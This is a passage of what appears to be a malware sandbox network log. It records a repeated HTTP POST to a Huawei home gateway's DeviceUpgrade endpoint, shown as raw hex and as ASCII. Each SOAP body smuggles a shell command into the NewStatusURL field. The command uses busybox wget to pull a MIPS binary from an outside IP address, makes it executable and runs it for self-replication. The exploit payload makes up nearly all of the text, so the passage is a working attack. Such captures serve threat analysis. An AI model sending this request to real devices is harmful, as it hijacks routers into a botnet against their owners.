68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 